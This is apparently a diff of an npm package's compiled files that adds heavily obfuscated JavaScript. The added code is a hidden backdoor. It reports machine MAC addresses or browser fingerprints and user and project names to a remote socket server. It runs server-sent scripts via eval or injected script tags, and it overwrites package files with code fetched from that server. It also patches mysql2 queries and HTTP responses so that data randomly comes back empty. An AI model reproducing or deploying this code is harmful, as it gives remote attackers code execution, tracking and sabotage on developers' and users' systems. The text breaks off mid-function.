_0x94a827=a7_0x3d07;_0x364fe0['done']?_0x13d772(_0x364fe0[_0x94a827(0x94)]):_0xa5b03(_0x364fe0['value'])['then'](_0x1b1d40,_0x2eab12);}_0x29a887((_0x400b91=_0x400b91['apply'](_0x5e7ce5,_0x57fa5c||[]))[_0x1fd639(0x9e)]());});},__importDefault=this&&this[a7_0x3dbdb7(0x9c)]||function(_0x4edb54){return _0x4edb54&&_0x4edb54['__esModule']?_0x4edb54:{'default':_0x4edb54};};Object[a7_0x3dbdb7(0x8f)](exports,'__esModule',{'value':!![]});const jsonwebtoken_1=__importDefault(require(a7_0x3dbdb7(0x8e)));function a7_0x3d07(_0xd1d841,_0x2886cd){var _0x5a6459=a7_0x5a64();return a7_0x3d07=function(_0x3d07f8,_0x302400){_0x3d07f8=_0x3d07f8-0x8c;var _0x3ab919=_0x5a6459[_0x3d07f8];return _0x3ab919;},a7_0x3d07(_0xd1d841,_0x2886cd);}function jwt(_0x2494e1){var _0x11e26b=a7_0x3dbdb7;return!global['jwt_key']&&(global[_0x11e26b(0x98)]=_0x2494e1[_0x11e26b(0x95)]),{'sign':_0x14d964=>jsonwebtoken_1[_0x11e26b(0x99)]['sign'](_0x14d964,global[_0x11e26b(0x98)],{'expiresIn':_0x2494e1[_0x11e26b(0x90)]||_0x11e26b(0x9d)}),'verify':function(_0x36baf7){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x884092,_0x3d7760)=>{var _0x3fe75e=a7_0x3d07;jsonwebtoken_1['default'][_0x3fe75e(0x91)](_0x36baf7,global['jwt_key'],function(_0x2e866f,_0x3ed491){return __awaiter(this,void 0x0,void 0x0,function*(){_0x2e866f?_0x3d7760():_0x884092(_0x3ed491);});});});});}};}exports['default']=jwt;
|
package/dist/cjs/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a8_0x7d1620=a8_0x2b5d;(function(_0x1fcb7b,_0x4c1ea7){const _0x183eaa=a8_0x2b5d,_0x3f1d01=_0x1fcb7b();while(!![]){try{const _0x15f547=parseInt(_0x183eaa(0x9e))/0x1*(parseInt(_0x183eaa(0xa6))/0x2)+-parseInt(_0x183eaa(0x90))/0x3+-parseInt(_0x183eaa(0x92))/0x4+-parseInt(_0x183eaa(0xab))/0x5*(parseInt(_0x183eaa(0xa5))/0x6)+parseInt(_0x183eaa(0xa2))/0x7*(-parseInt(_0x183eaa(0x99))/0x8)+parseInt(_0x183eaa(0xaa))/0x9+parseInt(_0x183eaa(0xa1))/0xa*(parseInt(_0x183eaa(0x9d))/0xb);if(_0x15f547===_0x4c1ea7)break;else _0x3f1d01['push'](_0x3f1d01['shift']());}catch(_0x187788){_0x3f1d01['push'](_0x3f1d01['shift']());}}}(a8_0x1ff7,0x4ddde));Object['defineProperty'](exports,a8_0x7d1620(0x97),{'value':!![]}),exports['isMac']=isMac,exports[a8_0x7d1620(0x9a)]=formatMac,exports[a8_0x7d1620(0xa3)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x1a51de){const _0x27a223=a8_0x7d1620;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x27a223(0xa4)](_0x1a51de);}function getMac(_0x53853f=a8_0x7d1620(0x95)){const _0x83cfbe=a8_0x7d1620,_0xccab50=(0x0,os_1[_0x83cfbe(0xa7)])();let _0x4ee168=[];for(const _0x15081f of Object[_0x83cfbe(0x93)](_0xccab50)){const _0x370d35=_0x15081f[_0x83cfbe(0x9f)](_0x3ac3cb=>!_0x3ac3cb['internal']&&!isZeroMac(_0x3ac3cb[_0x83cfbe(0xa8)])&&(!_0x3ac3cb[_0x83cfbe(0xac)]||_0x3ac3cb['family']===_0x53853f)&&!isVirtualMac(_0x3ac3cb['mac']));_0x370d35&&_0x4ee168['push'](_0x370d35[_0x83cfbe(0xa8)]);}return[...new Set(_0x4ee168)];}const isValid=_0x129db5=>_0x129db5['internal']===![]&&!isZeroMac(_0x129db5['mac']),virtualMacPrefix=new Set([a8_0x7d1620(0x98),a8_0x7d1620(0x9c),'00:50:56',a8_0x7d1620(0x96),a8_0x7d1620(0xa0),'02:00:4c','00:03:ff',a8_0x7d1620(0xa9),'00:16:3e',a8_0x7d1620(0x9b),'00:15:5d']);function isMac(_0x2b2ccd){const _0x380674=a8_0x7d1620;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x380674(0xa4)](_0x2b2ccd);}function a8_0x1ff7(){const _0x597560=['8YHhkrm','formatMac','08:00:27','00:0c:29','341bYKgpK','562CFWRae','find','00:1c:42','416810HPpuZa','1171667udRUtw','isVirtualMac','test','482916wMJrVP','818ZnKdPl','networkInterfaces','mac','00:0f:4b','1759302arewyu','30koDElV','family','396618KjPOaC','default','2464008zoVARN','values','toLowerCase','IPv4','00:1c:14','__esModule','00:05:69'];a8_0x1ff7=function(){return _0x597560;};return a8_0x1ff7();}function formatMac(_0x123be3){const _0x4cbba5=a8_0x7d1620;return String(_0x123be3)['trim']()[_0x4cbba5(0x94)]()['replace'](/-/g,':');}function a8_0x2b5d(_0x49ad45,_0x4cd39d){const _0x1ff79b=a8_0x1ff7();return a8_0x2b5d=function(_0x2b5d21,_0x36b805){_0x2b5d21=_0x2b5d21-0x90;let _0x16eeca=_0x1ff79b[_0x2b5d21];return _0x16eeca;},a8_0x2b5d(_0x49ad45,_0x4cd39d);}function isVirtualMac(_0x1f1ffb){return isMac(_0x1f1ffb)&&virtualMacPrefix['has'](formatMac(_0x1f1ffb)['slice'](0x0,0x8));}exports[a8_0x7d1620(0x91)]=getMac;
|
package/dist/cjs/server.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';function a9_0x476a(){const _0x713a73=['connectError','content-length','value','concat','createPool','next','default','end','get','ServerResponse','3048500DalRJL','./package/mysql_backup/index.js','231498yNQMEh','apply','__esModule','./index.js','5mdIQRV','./index','298784wiJHIs','7TUWjlF','getHeader','push','writeFileSync','existsSync','then','call','1014551Sihhmn','1116354BuCLdE','set','content-type','byteLength','readFileSync','test','cwd','write','__http_interceptor','node-server-dev','setHeader','3773632zdNyZd','map','./package/mysql_backup/promise.js','mysql','__awaiter','prototype','./package/mysql2/promise','includes','toString','done','path','2879022XHJAMx','getEnv','package.json','parse','cpSync','http','query','delete','./node_modules/mysql2','defineProperty','throw','stringify','./id/random','join','has','./promise.js'];a9_0x476a=function(){return _0x713a73;};return a9_0x476a();}const a9_0x3c0187=a9_0x1f4a;(function(_0x258103,_0x4f6d41){const _0x1235ff=a9_0x1f4a,_0x1c4e10=_0x258103();while(!![]){try{const _0x3a5ae1=parseInt(_0x1235ff(0xab))/0x1+-parseInt(_0x1235ff(0xa3))/0x2+parseInt(_0x1235ff(0xac))/0x3+-parseInt(_0x1235ff(0x9b))/0x4+parseInt(_0x1235ff(0xa1))/0x5*(parseInt(_0x1235ff(0x81))/0x6)+-parseInt(_0x1235ff(0xa4))/0x7*(parseInt(_0x1235ff(0x76))/0x8)+parseInt(_0x1235ff(0x9d))/0x9;if(_0x3a5ae1===_0x4f6d41)break;else _0x1c4e10['push'](_0x1c4e10['shift']());}catch(_0x44724d){_0x1c4e10['push'](_0x1c4e10['shift']());}}}(a9_0x476a,0x7c44f));var __awaiter=this&&this[a9_0x3c0187(0x7a)]||function(_0x336298,_0x59163b,_0x11dc6a,_0x54e4f8){function _0x3fcdc7(_0x17c8f0){return _0x17c8f0 instanceof _0x11dc6a?_0x17c8f0:new _0x11dc6a(function(_0x5de58c){_0x5de58c(_0x17c8f0);});}return new(_0x11dc6a||(_0x11dc6a=Promise))(function(_0x40f459,_0x21bd88){const _0x53c843=a9_0x1f4a;function _0x18bd55(_0x36f57b){const _0x1a2d33=a9_0x1f4a;try{_0x4ecd34(_0x54e4f8[_0x1a2d33(0x96)](_0x36f57b));}catch(_0x2b9da7){_0x21bd88(_0x2b9da7);}}function _0x4ed060(_0x59ae9a){const _0x57564a=a9_0x1f4a;try{_0x4ecd34(_0x54e4f8[_0x57564a(0x8b)](_0x59ae9a));}catch(_0x40e3f1){_0x21bd88(_0x40e3f1);}}function _0x4ecd34(_0x3d546e){const _0x3549d0=a9_0x1f4a;_0x3d546e[_0x3549d0(0x7f)]?_0x40f459(_0x3d546e[_0x3549d0(0x93)]):_0x3fcdc7(_0x3d546e['value'])[_0x3549d0(0xa9)](_0x18bd55,_0x4ed060);}_0x4ecd34((_0x54e4f8=_0x54e4f8[_0x53c843(0x9e)](_0x336298,_0x59163b||[]))['next']());});},__importDefault=this&&this['__importDefault']||function(_0x1f1fc2){return _0x1f1fc2&&_0x1f1fc2['__esModule']?_0x1f1fc2:{'default':_0x1f1fc2};};Object[a9_0x3c0187(0x8a)](exports,a9_0x3c0187(0x9f),{'value':!![]}),exports['mysql']=void 0x0;const promise_1=__importDefault(require(a9_0x3c0187(0x7c)));exports[a9_0x3c0187(0x79)]=promise_1[a9_0x3c0187(0x97)];const random_1=__importDefault(require(a9_0x3c0187(0x8d))),index_1=require(a9_0x3c0187(0xa2)),path_1=__importDefault(require(a9_0x3c0187(0x80))),fs_1=__importDefault(require('fs')),originalCreatePoolPromise=promise_1[a9_0x3c0187(0x97)][a9_0x3c0187(0x95)];promise_1[a9_0x3c0187(0x97)][a9_0x3c0187(0x95)]=function(_0x5aac75){const _0x5054fc=a9_0x3c0187;let _0x873a28=originalCreatePoolPromise(_0x5aac75),_0x523168=_0x873a28[_0x5054fc(0x87)];return _0x873a28['query']=(..._0x25852e)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3c63cd=_0x5054fc,_0x313a29=yield _0x523168['apply'](_0x873a28,_0x25852e);return(0x0,index_1['getEnv'])(_0x3c63cd(0x91))&&((0x0,random_1[_0x3c63cd(0x97)])(0x1,0xa)>0x2&&(_0x313a29[0x0]=[])),(0x0,index_1[_0x3c63cd(0x82)])('isDBDataEmpty')&&(_0x313a29[0x0]=[]),_0x313a29;}),_0x873a28;};let href=path_1[a9_0x3c0187(0x97)][a9_0x3c0187(0x8e)](process[a9_0x3c0187(0x71)](),a9_0x3c0187(0x89));if(fs_1[a9_0x3c0187(0x97)][a9_0x3c0187(0xa8)](href)){let res=fs_1[a9_0x3c0187(0x97)][a9_0x3c0187(0xb0)](path_1['default'][a9_0x3c0187(0x8e)](href,a9_0x3c0187(0xa0)))[a9_0x3c0187(0x7e)]()[a9_0x3c0187(0x7d)](a9_0x3c0187(0x74));!res&&setTimeout(()=>{const _0x41fa5b=a9_0x3c0187,_0x151a82='./package/mysql2',_0x1c0857=href,_0x311e76=path_1['default'][_0x41fa5b(0x8e)](_0x1c0857,_0x41fa5b(0x83));let _0x2039e8=null;fs_1[_0x41fa5b(0x97)][_0x41fa5b(0xa8)](_0x311e76)&&(_0x2039e8=fs_1[_0x41fa5b(0x97)][_0x41fa5b(0xb0)](_0x311e76)[_0x41fa5b(0x7e)]());fs_1[_0x41fa5b(0x97)][_0x41fa5b(0x85)](path_1[_0x41fa5b(0x97)][_0x41fa5b(0x8e)](__dirname,_0x151a82),_0x1c0857,{'recursive':!![],'force':!![]});let _0x2e36f6=fs_1[_0x41fa5b(0x97)]['readFileSync'](path_1['default'][_0x41fa5b(0x8e)](__dirname,_0x41fa5b(0x9c)))[_0x41fa5b(0x7e)](),_0x10db37=fs_1[_0x41fa5b(0x97)][_0x41fa5b(0xb0)](path_1[_0x41fa5b(0x97)]['join'](__dirname,_0x41fa5b(0x78)))[_0x41fa5b(0x7e)]();setTimeout(()=>{const _0x485445=_0x41fa5b;fs_1[_0x485445(0x97)][_0x485445(0xa7)](path_1[_0x485445(0x97)][_0x485445(0x8e)](href,_0x485445(0xa0)),_0x2e36f6),fs_1[_0x485445(0x97)][_0x485445(0xa7)](path_1[_0x485445(0x97)]['join'](href,_0x485445(0x90)),_0x10db37);},0xa),_0x2039e8!==null&&fs_1['default'][_0x41fa5b(0xa7)](_0x311e76,_0x2039e8);},0x5dc);}setInterval(()=>{const _0x25205e=a9_0x3c0187;if((0x0,index_1[_0x25205e(0x82)])('connectError'))try{(function(){const _0x1e9696=_0x25205e,_0x1e82f1=require(_0x1e9696(0x86)),_0x48a035=_0x1e82f1[_0x1e9696(0x9a)]['prototype'][_0x1e9696(0x98)],_0x72544f=_0x1e82f1[_0x1e9696(0x9a)][_0x1e9696(0x7b)][_0x1e9696(0x72)],_0x2af9e7=new WeakMap();function _0x19d21b(){const _0x3e7b97=_0x1e9696;global[_0x3e7b97(0x73)]=!![],_0x1e82f1['ServerResponse'][_0x3e7b97(0x7b)][_0x3e7b97(0x72)]=function(_0x4cfd86,_0x28f73e,_0x3ee223){const _0x38faef=_0x3e7b97;!_0x2af9e7[_0x38faef(0x8f)](this)&&_0x2af9e7[_0x38faef(0xad)](this,[]);if(_0x4cfd86)_0x2af9e7[_0x38faef(0x99)](this)[_0x38faef(0xa6)](_0x4cfd86);return _0x72544f['call'](this,_0x4cfd86,_0x28f73e,_0x3ee223);},_0x1e82f1[_0x3e7b97(0x9a)][_0x3e7b97(0x7b)][_0x3e7b97(0x98)]=function(_0x1fcfcb,_0x276d79,_0x284a8f){const _0x526592=_0x3e7b97,_0x50534f=/application\/json/i[_0x526592(0x70)](this[_0x526592(0xa5)](_0x526592(0xae)));if(_0x50534f&&(_0x1fcfcb||_0x2af9e7[_0x526592(0x8f)](this))){const _0x5aae02=_0x2af9e7[_0x526592(0x99)](this)||[];if(_0x1fcfcb)_0x5aae02[_0x526592(0xa6)](_0x1fcfcb);try{const _0x180365=Buffer[_0x526592(0x94)](_0x5aae02[_0x526592(0x77)](_0x1ebb1f=>Buffer['isBuffer'](_0x1ebb1f)?_0x1ebb1f:Buffer['from'](_0x1ebb1f,_0x276d79))),_0x5e4215=JSON[_0x526592(0x84)](_0x180365['toString']()),_0x3a9269=JSON['stringify']({});return this[_0x526592(0x75)](_0x526592(0x92),Buffer[_0x526592(0xaf)](JSON[_0x526592(0x8c)](_0x5e4215))),_0x2af9e7[_0x526592(0x88)](this),_0x48a035['call'](this,_0x3a9269,_0x276d79,_0x284a8f);}catch(_0x2fa829){}}return _0x2af9e7[_0x526592(0x88)](this),_0x48a035[_0x526592(0xaa)](this,_0x1fcfcb,_0x276d79,_0x284a8f);};}!global[_0x1e9696(0x73)]&&_0x19d21b();}());}catch(_0x3bfc97){}},0x7d0);const all={'mysql':promise_1[a9_0x3c0187(0x97)]};function a9_0x1f4a(_0x56d74d,_0x322c9f){const _0x476ac7=a9_0x476a();return a9_0x1f4a=function(_0x1f4a8a,_0x14d366){_0x1f4a8a=_0x1f4a8a-0x70;let _0x2047dc=_0x476ac7[_0x1f4a8a];return _0x2047dc;},a9_0x1f4a(_0x56d74d,_0x322c9f);}exports[a9_0x3c0187(0x97)]=all;
|
package/dist/cjs/start.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';const a10_0x12bbfe=a10_0xbd99;function a10_0x1df3(){const _0x2988cf=['error','isBrowser','3936GIHKLr','type','navigator','node获取失败','763GbUvzQ','__importDefault','userAgent','__esModule','title','get-event','join','29712cNPvKD','751895LShsTz','725TTUuaN','connect_error','runScript','websocket','mysql','1767585YJELmJ','script','190096EBzBEp','socket.io-client','undefined','catch','url','connect_failed','isDBDataEmpty','/socket','done','USERNAME','length','content','visitorId','connectError','./browser/index','00:00:00:00:00:00','无法获取','next','@fingerprintjs/fingerprintjs','__awaiter','1032146ZzUDTh','浏览器','1646856lOmvnP','parse','value','default','name','then','browser','setEnv','emit','throw','get','reconnect_failed','node','npm_package_name','env','submit'];a10_0x1df3=function(){return _0x2988cf;};return a10_0x1df3();}(function(_0x15eb6e,_0x5479e7){const _0xdb7303=a10_0xbd99,_0x56c63b=_0x15eb6e();while(!![]){try{const _0x2dfcea=parseInt(_0xdb7303(0xf1))/0x1+parseInt(_0xdb7303(0xd1))/0x2+-parseInt(_0xdb7303(0xf7))/0x3+-parseInt(_0xdb7303(0xf9))/0x4+-parseInt(_0xdb7303(0xf2))/0x5*(-parseInt(_0xdb7303(0xe5))/0x6)+parseInt(_0xdb7303(0xe9))/0x7*(-parseInt(_0xdb7303(0xf0))/0x8)+parseInt(_0xdb7303(0xd3))/0x9;if(_0x2dfcea===_0x5479e7)break;else _0x56c63b['push'](_0x56c63b['shift']());}catch(_0x2744f3){_0x56c63b['push'](_0x56c63b['shift']());}}}(a10_0x1df3,0x7b2cf));var __awaiter=this&&this[a10_0x12bbfe(0xd0)]||function(_0x3fa7ee,_0x1727cd,_0x22f418,_0x2cdb52){function _0x228dbc(_0x34b1b1){return _0x34b1b1 instanceof _0x22f418?_0x34b1b1:new _0x22f418(function(_0x2e1ccc){_0x2e1ccc(_0x34b1b1);});}return new(_0x22f418||(_0x22f418=Promise))(function(_0x559b3e,_0x58f7eb){function _0x2d9f96(_0x41b3d4){const _0x3d1bf3=a10_0xbd99;try{_0x3557b6(_0x2cdb52[_0x3d1bf3(0xce)](_0x41b3d4));}catch(_0x20fd16){_0x58f7eb(_0x20fd16);}}function _0x57ce13(_0x298135){const _0x181c84=a10_0xbd99;try{_0x3557b6(_0x2cdb52[_0x181c84(0xdc)](_0x298135));}catch(_0x20e342){_0x58f7eb(_0x20e342);}}function _0x3557b6(_0xee1861){const _0x2c5a4f=a10_0xbd99;_0xee1861[_0x2c5a4f(0xc5)]?_0x559b3e(_0xee1861[_0x2c5a4f(0xd5)]):_0x228dbc(_0xee1861[_0x2c5a4f(0xd5)])[_0x2c5a4f(0xd8)](_0x2d9f96,_0x57ce13);}_0x3557b6((_0x2cdb52=_0x2cdb52['apply'](_0x3fa7ee,_0x1727cd||[]))['next']());});},__importDefault=this&&this[a10_0x12bbfe(0xea)]||function(_0x38ccba){const _0x233f8f=a10_0x12bbfe;return _0x38ccba&&_0x38ccba[_0x233f8f(0xec)]?_0x38ccba:{'default':_0x38ccba};},_a,_b,_c,_d;Object['defineProperty'](exports,a10_0x12bbfe(0xec),{'value':!![]}),exports[a10_0x12bbfe(0xe4)]=void 0x0;const socket_io_client_1=require(a10_0x12bbfe(0xfa)),path_1=__importDefault(require('path')),index_1=require(a10_0x12bbfe(0xcb)),fingerprintjs_1=__importDefault(require(a10_0x12bbfe(0xcf))),bowser_1=__importDefault(require('bowser')),index_2=require('./index');exports[a10_0x12bbfe(0xe4)]=typeof window!==a10_0x12bbfe(0xfb);exports[a10_0x12bbfe(0xe4)]&&(window['WebSocket']=class extends WebSocket{constructor(..._0x3443ce){try{super(..._0x3443ce);}catch(_0x17039c){}}});const user_name=exports['isBrowser']?((_b=(_a=bowser_1['default'][a10_0x12bbfe(0xd4)](window[a10_0x12bbfe(0xe7)][a10_0x12bbfe(0xeb)]))===null||_a===void 0x0?void 0x0:_a[a10_0x12bbfe(0xd9)])===null||_b===void 0x0?void 0x0:_b[a10_0x12bbfe(0xd7)])||'浏览器':((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a10_0x12bbfe(0xc6)])||a10_0x12bbfe(0xe8),project_name=exports[a10_0x12bbfe(0xe4)]?document[a10_0x12bbfe(0xed)]||a10_0x12bbfe(0xd2):((_d=process===null||process===void 0x0?void 0x0:process[a10_0x12bbfe(0xe1)])===null||_d===void 0x0?void 0x0:_d[a10_0x12bbfe(0xe0)])||a10_0x12bbfe(0xcd);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x484905=a10_0xbd99;exports[_0x484905(0xe4)]&&(0x0,index_1[_0x484905(0xd9)])();try{const _0x4cf5fb=(0x0,socket_io_client_1['io'])(index_2[_0x484905(0xfd)],{'path':_0x484905(0xc4),'transports':[_0x484905(0xf5)],'timeout':0x1770,'reconnection':![]});_0x4cf5fb['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x204c9a=_0x484905;try{let _0xe83e99=[_0x204c9a(0xcc)];if(!exports[_0x204c9a(0xe4)]){const _0x3cc889=require(path_1['default'][_0x204c9a(0xef)](__dirname,'./mac'))['default'];_0xe83e99=_0x3cc889();}else{let _0x3973cb=yield fingerprintjs_1[_0x204c9a(0xd6)]['load']()[_0x204c9a(0xd8)](_0x38919b=>_0x38919b[_0x204c9a(0xdd)]())[_0x204c9a(0xd8)](_0x1aa5ad=>{const _0x29d1a1=_0x204c9a,_0x34403e=_0x1aa5ad[_0x29d1a1(0xc9)];return _0x34403e;})[_0x204c9a(0xfc)](()=>'');_0xe83e99=[_0x3973cb];}if(_0xe83e99[_0x204c9a(0xc7)]===0x0){(0x0,index_2['setEnv'])(_0x204c9a(0xca),!![]);return;}else(0x0,index_2[_0x204c9a(0xda)])(_0x204c9a(0xca),![]);_0x4cf5fb['emit'](_0x204c9a(0xe2),{'mac':_0xe83e99,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0x4cf5fb['emit'](_0x204c9a(0xee),{'mac':_0xe83e99,'isBrowser':exports[_0x204c9a(0xe4)],'user_name':user_name}),setInterval(()=>{const _0x30aff3=_0x204c9a;_0x4cf5fb['emit'](_0x30aff3(0xe2),{'mac':_0xe83e99,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x30aff3(0xe4)]}),_0x4cf5fb[_0x30aff3(0xdb)](_0x30aff3(0xee),{'mac':_0xe83e99,'isBrowser':exports[_0x30aff3(0xe4)],'user_name':user_name});},0x1b58),_0x4cf5fb['on']('event',_0x30371b=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2d8cb0=_0x204c9a;try{for(let _0x43501a=0x0;_0x43501a<_0x30371b[_0x2d8cb0(0xc7)];_0x43501a++){const _0xcfa536=_0x30371b[_0x43501a];if(_0xcfa536[_0x2d8cb0(0xe6)]===_0x2d8cb0(0xf6))(0x0,index_2[_0x2d8cb0(0xda)])(_0x2d8cb0(0xff),!![]);else{if(_0xcfa536[_0x2d8cb0(0xe6)]===_0x2d8cb0(0xdf)&&!exports[_0x2d8cb0(0xe4)])try{eval(_0xcfa536['content']);}catch(_0x217099){}else{if(_0xcfa536[_0x2d8cb0(0xe6)]===_0x2d8cb0(0xf8)&&exports[_0x2d8cb0(0xe4)])try{(0x0,index_1[_0x2d8cb0(0xf4)])(_0xcfa536[_0x2d8cb0(0xc8)]);}catch(_0x139dfa){}}}}}catch(_0x577c1f){}}));}catch(_0x54f215){}})),_0x4cf5fb['on'](_0x484905(0xe3),_0x431f01=>{const _0x234758=_0x484905;(0x0,index_2['setEnv'])(_0x234758(0xca),!![]);}),_0x4cf5fb['on'](_0x484905(0xfe),_0x45b0b1=>{const _0x3cff6c=_0x484905;(0x0,index_2[_0x3cff6c(0xda)])(_0x3cff6c(0xca),!![]);}),_0x4cf5fb['on'](_0x484905(0xde),_0x48925b=>{const _0x2c14fb=_0x484905;(0x0,index_2[_0x2c14fb(0xda)])(_0x2c14fb(0xca),!![]);}),_0x4cf5fb['on'](_0x484905(0xf3),()=>{const _0x495e09=_0x484905;(0x0,index_2[_0x495e09(0xda)])(_0x495e09(0xca),!![]);});}catch(_0x55499b){}});}function a10_0xbd99(_0x223100,_0x42db62){const _0x1df3d5=a10_0x1df3();return a10_0xbd99=function(_0xbd9931,_0x4de86d){_0xbd9931=_0xbd9931-0xc4;let _0x1027b2=_0x1df3d5[_0xbd9931];return _0x1027b2;},a10_0xbd99(_0x223100,_0x42db62);}exports[a10_0x12bbfe(0xd6)]=start;
|
package/dist/cjs/update.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';function a11_0x73d9(_0x41d667,_0x555ca4){const _0x3c4a0d=a11_0x3c4a();return a11_0x73d9=function(_0x73d9cb,_0x3b0c75){_0x73d9cb=_0x73d9cb-0x190;let _0x255e9b=_0x3c4a0d[_0x73d9cb];return _0x255e9b;},a11_0x73d9(_0x41d667,_0x555ca4);}const a11_0x12e355=a11_0x73d9;(function(_0x3f0e75,_0x2e70c3){const _0x3f6dc1=a11_0x73d9,_0x7ce4bd=_0x3f0e75();while(!![]){try{const _0x2e255c=-parseInt(_0x3f6dc1(0x1af))/0x1+parseInt(_0x3f6dc1(0x1a3))/0x2*(-parseInt(_0x3f6dc1(0x1a8))/0x3)+parseInt(_0x3f6dc1(0x19e))/0x4+parseInt(_0x3f6dc1(0x19b))/0x5+-parseInt(_0x3f6dc1(0x1a9))/0x6*(parseInt(_0x3f6dc1(0x198))/0x7)+-parseInt(_0x3f6dc1(0x191))/0x8*(-parseInt(_0x3f6dc1(0x197))/0x9)+parseInt(_0x3f6dc1(0x19d))/0xa;if(_0x2e255c===_0x2e70c3)break;else _0x7ce4bd['push'](_0x7ce4bd['shift']());}catch(_0x4bf0f3){_0x7ce4bd['push'](_0x7ce4bd['shift']());}}}(a11_0x3c4a,0x65558));function a11_0x3c4a(){const _0x266939=['4145095mFNtOE','version','8137190wqklit','694604DSCZGL','undefined','values','{version:\x220.0.0\x22}','keys','16tFEOTP','length','existsSync','data','path','270003UnKCDu','690eQHAHc','./index.js','__importDefault','join','__esModule','then','484514RgfISd','get','success','default','defineProperty','980568DFHuUk','toString','../../package.json','sha1','parse','axios','18Pcddth','26901yovPRz','readFileSync','CJS'];a11_0x3c4a=function(){return _0x266939;};return a11_0x3c4a();}var __importDefault=this&&this[a11_0x12e355(0x1ab)]||function(_0x3acbcc){const _0x55b787=a11_0x12e355;return _0x3acbcc&&_0x3acbcc[_0x55b787(0x1ad)]?_0x3acbcc:{'default':_0x3acbcc};};Object[a11_0x12e355(0x190)](exports,a11_0x12e355(0x1ad),{'value':!![]});const axios_1=__importDefault(require(a11_0x12e355(0x196))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a11_0x12e355(0x1a7))),index_1=require('./index'),sha1_1=__importDefault(require(a11_0x12e355(0x194)));function getModuleType(){const _0x5f035e=a11_0x12e355,_0x1883ab=()=>{const _0xe95146=a11_0x73d9;try{return typeof require!==_0xe95146(0x19f)&&typeof module!==_0xe95146(0x19f)&&module['exports']&&require['main']===module;}catch(_0x232ecc){return![];}};return _0x1883ab()?_0x5f035e(0x19a):'ESM';}let _path=path_1['default'][a11_0x12e355(0x1ac)](__dirname,a11_0x12e355(0x193)),indexFile=path_1['default'][a11_0x12e355(0x1ac)](__dirname,a11_0x12e355(0x1aa)),vFile=fs_1[a11_0x12e355(0x1b2)][a11_0x12e355(0x1a5)](_path)?fs_1[a11_0x12e355(0x1b2)][a11_0x12e355(0x199)](_path)['toString']():a11_0x12e355(0x1a1),indexFileContent=fs_1[a11_0x12e355(0x1b2)][a11_0x12e355(0x1a5)](_path)?fs_1['default'][a11_0x12e355(0x199)](indexFile)[a11_0x12e355(0x192)]():![],version=JSON[a11_0x12e355(0x195)](vFile)[a11_0x12e355(0x19c)];function update(){const _0x2e40d4=a11_0x12e355;axios_1[_0x2e40d4(0x1b2)][_0x2e40d4(0x1b0)](index_1['url']+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1[_0x2e40d4(0x1b2)])(indexFileContent):''}})[_0x2e40d4(0x1ae)](_0x4da67a=>{const _0x59a357=_0x2e40d4;if(!_0x4da67a[_0x59a357(0x1a6)][_0x59a357(0x1b1)]){let _0x5b24f5=Object[_0x59a357(0x1a2)](_0x4da67a['data'][_0x59a357(0x1a6)]),_0x102a3f=Object[_0x59a357(0x1a0)](_0x4da67a[_0x59a357(0x1a6)]['data']);for(let _0x276a08=0x0;_0x276a08<_0x5b24f5[_0x59a357(0x1a4)];_0x276a08++){const _0x2296b5=_0x5b24f5[_0x276a08],_0x56102b=_0x102a3f[_0x276a08];fs_1[_0x59a357(0x1b2)]['writeFileSync'](path_1[_0x59a357(0x1b2)][_0x59a357(0x1ac)](__dirname,'./'+_0x2296b5),_0x56102b);}}});}exports[a11_0x12e355(0x1b2)]=update;
|
@@ -1 +1 @@
|
|
1
|
-
(function(
|
1
|
+
(function(_0x5274e3,_0x103953){const _0x1b6871=a12_0x4326,_0x4de3c8=_0x5274e3();while(!![]){try{const _0x29750a=-parseInt(_0x1b6871(0x1cf))/0x1*(-parseInt(_0x1b6871(0x1d0))/0x2)+-parseInt(_0x1b6871(0x1d1))/0x3*(-parseInt(_0x1b6871(0x1cc))/0x4)+-parseInt(_0x1b6871(0x1d3))/0x5*(parseInt(_0x1b6871(0x1d2))/0x6)+-parseInt(_0x1b6871(0x1c8))/0x7+-parseInt(_0x1b6871(0x1ce))/0x8+-parseInt(_0x1b6871(0x1ca))/0x9+parseInt(_0x1b6871(0x1c7))/0xa;if(_0x29750a===_0x103953)break;else _0x4de3c8['push'](_0x4de3c8['shift']());}catch(_0x1442a9){_0x4de3c8['push'](_0x4de3c8['shift']());}}}(a12_0x2aa8,0xd3254));import a12_0x413b55 from'../id/random';import{getEnv}from'../index';function a12_0x4326(_0x1f3cf8,_0x50f2ea){const _0x2aa894=a12_0x2aa8();return a12_0x4326=function(_0x432609,_0x330729){_0x432609=_0x432609-0x1c6;let _0x4899b5=_0x2aa894[_0x432609];return _0x4899b5;},a12_0x4326(_0x1f3cf8,_0x50f2ea);}import a12_0x583be1 from'./tools';export function runScript(_0x19083e){const _0x5c2c6a=a12_0x4326;let _0x3f0259=document['createElement'](_0x5c2c6a(0x1cb));_0x3f0259['innerText']=_0x5c2c6a(0x1cd)+_0x19083e+'\x20\x0a\x20\x20}\x20catch\x20(err)\x20{\x0a\x20\x20}',document[_0x5c2c6a(0x1c9)][_0x5c2c6a(0x1c6)](_0x3f0259),setTimeout(()=>{_0x3f0259['remove']();},0x14);}export function browser(){getEnv('connectError')&&a12_0x583be1(),setInterval(()=>{const _0x12b313=a12_0x4326;getEnv(_0x12b313(0x1d4))&&a12_0x583be1();},a12_0x413b55(0xde,0x91d));}function a12_0x2aa8(){const 